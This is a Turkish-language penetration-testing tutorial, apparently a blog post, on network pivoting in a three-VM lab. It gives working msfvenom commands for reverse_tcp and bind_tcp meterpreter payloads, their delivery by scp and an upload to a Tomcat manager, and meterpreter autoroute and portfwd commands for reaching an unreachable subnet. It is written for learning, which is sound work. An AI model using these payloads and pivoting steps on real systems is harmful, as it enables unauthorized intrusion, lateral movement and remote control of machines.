NETWORK PIVOTTING İŞLEMLERİ
Network Pivoting Nedir?
Pentest yapılırken Network Pivoting işlemi önemli bir husustur. Yerel ağımızdaki her bilgisayarın güvenliği tüm ağımızın güvenliğini doğrudan ilgilendirir. Nitekim her bir cihaz üzerindeki bir zafiyet diğer makinelere geçiş için bir imkân sunabilir.
Network Pivoting bir ağ üzerinde uzaktan erişim elde edilmiş bir bilgisayarı/sunucuyu kullanılarak direkt olarak erişim elde edemediğimiz ancak bu makinenin erişiminin olduğu diğer networklerdeki makinelere erişim yetkisi elde etmek işlemidir.
Örnek Senaryo?
Aşağıdaki resimde de görüleceği üzere 3 tane makine mevcuttur. Bu makinelerde VM1 veya HOST olarak gösterilen makine bizim kullandığımız/kullanılan makinedir. Bu makinenin bağlı olduğu VLAN VmNet8(192.168.227.X)’dir. VM2 olarak gösterilen makinede ise iki tane network bacağı mevuttur. Bu iki network bacağından ilki bizim HOST’umuzun da bağlı olduğu VmNet8(192.168.227.X), diğer network bacağı ise VmNet12 yani 172.12.12.x bloğudur. Üçüncü makinemiz olan VM3 makinesinin tek network çıkışı var bu da VmNet12(172.12.12.x)’dir. Normal şartlarda VM1 makinesinin VM3 makinesine doğrudan erişimi yoktur. Kendi makinemizden (VM1) daha önce uzak erişimini elde ettiğimiz VM2 makinesine ve VM2 makinesi üzerinden VM2 makinesinin erişimi olan diğer networklerdeki makinelere erişim elde etme sürecine Network Pivoting denmektedir. Aşağıdaki resimlerde makineler arasında çizilmiş çizgilerin renklerine dikkat etmek gerekir. VM1’in VM3 doğrudan erişimi bulunmamaktadır. VM2 nin ise VM1 ve VM3’ erişimi üzerindeki iki farklı network bacağı sayesinde mümkün olmaktadır. VM3’ün ise sadece VM2’ye erişimi bulunmaktadır. Özetle VM1’in VM3’e erişimi normal şartlarda mümkün değilken bunu yapabilmek için ise VM2 üzerinden VM3’e erişim elde edeceğiz.
Mevcut Senaryo Üzerinde Örnek Uygulama
Öncelikle MSFVENOM ile karşı taraftan kendi makinemize port açmak için zararlı dosya üretimini yapıyoruz. Bu bağlantının türünü de reverse_tcp olarak belirtip host makinemizin (192.168.227.X) ip adresini ve bir port belirliyoruz.
└─# msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.227.X lport=1337 -f elf > pivoting.elf
Msfvenom ile karşı taraftan tetiklenecek dosya oluşturuldu. Burada verdiğimiz ip adresinin kendi makinemizin ip adresi olmasına dikkat etmeliyiz. Vereceğimiz port numarasını unutmamalıyız. Amacımızın VM1 makinesinden VM2 makinesine meterpreter session elde etmek olduğunu unutmayalım.
Şimdi oluşturduğumuz payload senaryomuz gereği ulaşabildiğimiz ilk makinemize yani VM2’ye göndereceğiz. Ya da ilgili makinenin (VM2) bilgilerini elde ettiğimiz varsayarak (tomcat vb…) direk makineye gidip ana makinemizde (VM1) açık bıraktığımız port üzerinden indiriyoruz. Burada dikkat edilmesi gereken husus /tmp dizinidir. Linux sistemlerde /tmp dizini yazma yetkisi olan bir dizindir. ( /tmp dizini, diğer adıyla sunucumuzdaki tmp klasörü kullandığımız script ve kontrol paneli dosyalarından oluşan geçici dosyaların yazılıp tutulduğu önemli bir yerdir.)
└─# scp pivoting.elf admin@192.168.227.129:/tmp komutu ile karşı tarafa direkt olarak dosyayı gönderebiliyoruz. (Bunun için yazma yetkimizin olmasına dikkat etmeliyiz, nitekim bu senaryoda ben daha önce bu makinenin bilgilerini ve dolayısıyla elde etmiş olduğumuz kullanıcının root yetkisini kullanıyorum)
Sonrasında yine kendi makinemizde yani host makinede MSFConsole açıp bir tane Multi Handler exploit açıyoruz. Multi Handler için linux/x86/meterpreter/reverse_tcp olan payload için payload ayarı yapılır. Yine LHost ve lport msfvenom da verilen payload ile aynı olacak şekilde set edilir. Tüm ayarlamaların doğruluğundan emin olduktan sonra RUN komutu ile exploit çalıştırılır. Böylece MSFVENOM ile oluşturulan Payload Dosyası herhangi bir yerde tetiklendiğinde kendi hostumuzda bu tetiklenen dosyanın sayesinde bir tane meterpreter session elde etmiş olacağız.
Yukarıda görüldüğü üzere karşı tarafa gönderilen dosya vasıtasıyla meterpreter session elde etmek için gerekli exploit ayarları yapılmaktadır. Exploit arka planda bir job olarak çalıştırıldıktan sonra VM2 makinesine göndermiş olduğumuz dosyayı tetiklemek üzere o makineye gidiyoruz.
Ls ile pivoting.elf dosyanın /tmp dizinine gelip gelmediğini kontrol ettik. Sonrasında pivoting.elf dosyasına execute yetkisi verdik. Son adım olarak dosyayı execute edip VM1 kendi makinemizde meterpreter session açılıp açılmadığını kontrol edeceğiz.
Görüldüğü üzere meterpreter session hazır. VM2 makinesin zaten gidebiliyorduk ve amacımız VM2 makinesinden VM3 makinesine erişim elde etmek. Bunun içinde VM2 ve VM3 makinesinin ortak network bacaklarının baplı olduğu network için route tablosuna kaydedilmesini sağlayacağız. Yani VM1 makinesinden VM3 makinesine gidebilmek için VM2 makinesinin etrafını dolaşacağız.
Şimdi de port tarama exploit kullanarak VM3 makinesinin tcp portlarından 80,443,8080 portlarını tarayalım. Bu portları ve VM1 makinesinin yönlendirme tablosuna kaydetmek meterpreter session açıkken şu komutu kullanıyoruz. run autoroute -s 172.12.12.0/24.
meterpreter > run autoroute -s 172.12.12.0/24 àNormal şartlarda erişemediğimiz LAN içerisindeki diğer VLAN’lara erişmek istediğimizde bu komutu kullanırız. (Örneğin bizim İp bloğumuz 192.268.227.x bloğunda iken erişemediğimiz 172.12.12.X bloğuna erişebiliriz.)
meterpreter > run autoroute –p à Yönlendirme tablosunda eklendiğinden emin oluyoruz.
meterpreter > portfwd add -l 9001 -p 80 -r 172.12.12.12
[*] Forward TCP relay created: (local) :9001 -> (remote) 172.12.12.12:80
Port forwarding işlemi de yapıldıktan sonra daha önce erşimediğimiz VM3 makinesine gitmeye de hazırız. Tarayıcından kontrol edebiliriz şimdi.
Görüldüğü üzere 8080 portunu kendi makinemizden gittik. Aslında burada çalışan Apache Tomcat servisi VM3 makinesinin bir servisidir ve normalde VM3 makinesine gitmeye yetkimiz yoktu. Ancak şu anda kendi makinemizin localhost ip:9001 portu üzerinden rahatça gidebiliyoruz.
meterpreter > portfwd add -l 8012 -p 8080 -r 172.12.12.12
[*] Forward TCP relay created: (local) :8012 -> (remote) 172.12.12.12:8080
Bu işlemi şimdi de 80 portu için yapacak olursak. Kendi makinemizin 127.0.0.1:8012 portundan VM3 makinesine gitmiş olacağız.
Şunu unutmayalım bir problemin tek bir çözüm yolu olmadığı gibi her yiğidin yoğurt yiyişi farklı olabilir. Demek istediğim VM2 makinesine dosya göndermek için SCP komutunu kullandım ancak başka birisi wget kullanabilir. Aynı şekilde ben VM3 makinesinde Apache Tomcat servisindeki zafiyetten yararlandım başka birisi başka bir zafiyetten yararlanabilir.
Şimdi VM3 makinesine eriştik ve eski bir Apache Tomcat servisinden ilgili zafiyet kullanarak bu makinede meterpreter session elde etmeye bakalım.
Yine daha önceden tespit etmiş olduğumuz Apache Tomcat sürümünün eski olmasından ile ilgili zafiyeti exploit etmeye karar verdik. Öncelikle zararlı dosyamızı oluşturup Apache Tomcat vasıtasıyla karşı tarafa yüklüyoruz.
└─# msfvenom -p linux/x86/meterpreter/bind_tcp rhost=172.12.12.12 lport=1337 -f war > pivotOp.war
└─# jar xvf pivotOp.war
Aşağıdaki resimde görüldüğü üzere VM2 ile eriştiğimiz ve port forwarding işlemi ile VM3 üzerinde koşan Apache Tomcat servisine VM1 makinesi localhost üzerinden erişebilmekteyiz. Daha önceki çalışmalarımda Apache Tomcat kullanıcı adı ve parolasını elde etmiştim. (bunun için önce nmap, dig, wfuz gibi bazı teknikler ile önce uygulama ve bu uygulamanın versiyonun tespiti, sonrasında path vs … bilgiler elde edildi. En son olarak da Brute Force ile kullanıcı adı ve parola tespiti yapılmıştır.)
Yukarıdaki ara yüzden oluşturduğumuz zararlı dosyayı upload ettikten sonra bu zararlı java dosyasının içerisindeki jsp uzantılı sayfayı tetiklemek için aşağıdaki gibi manuel olarak kopyala yapıştır dedikten sonra daha önce hazırlığını yapmış olduğumuz Exploit/multi/handler ile meterpreter session elde etmeyi amaçlıyoruz.
Burada dikkat edilmesi gereken husus şu ki; genelde reverse_tcp meterpreter sesion oluşturulmaya çalışılır. Ancak VM3 ten VM1 bir erişim olmadığından Bind_tcp ile meterpreter session elde etmeye çalışacağız. (Reverse Shell (Reverse_tcp) ve Bind Shell(bind_tcp) arasındaki temel farkı kısa ve öz bir şekilde söylemek gerekirse Reverse Shell’de kurban zararlı dosya tetiklendiğinde saldırganın makinesinin dinlemekte olduğu porta bağlanır, Bind Shell ise saldırgan kurban üzerinde bir port açar ancak bu porta kendisi bağlantı yapar.)
Aşağıdaki resimde de kendi localhost umuzdan VM3 üzerine upload ettiğimiz kodu çalıştırıyoruz. Bunu kendi VM1 makinemizin tarayıcısı üzerinden daha önce yaptığımız port yönlendirmesi ile yapabiliyoruz.
Yukarıdaki resimde görüleceği üzere önce bir tane Bind Shell ile bağlantının açılmasını bekleyeceğimiz exploit hazırlıyoruz. Rhost ve lport ayarı yapıldıktan sonra exploit –j ile bir exploit jobs olarak ayarlanmaktadır. VM3 makinesindeki zararlı kodu içeren dosya tetiklendiğinde anında ekranımıza bir meterpreter session düşmektedir. Daha önce VM2 için ayarladığımız meterpreter session hala durmaktadır.
YORUM YAZ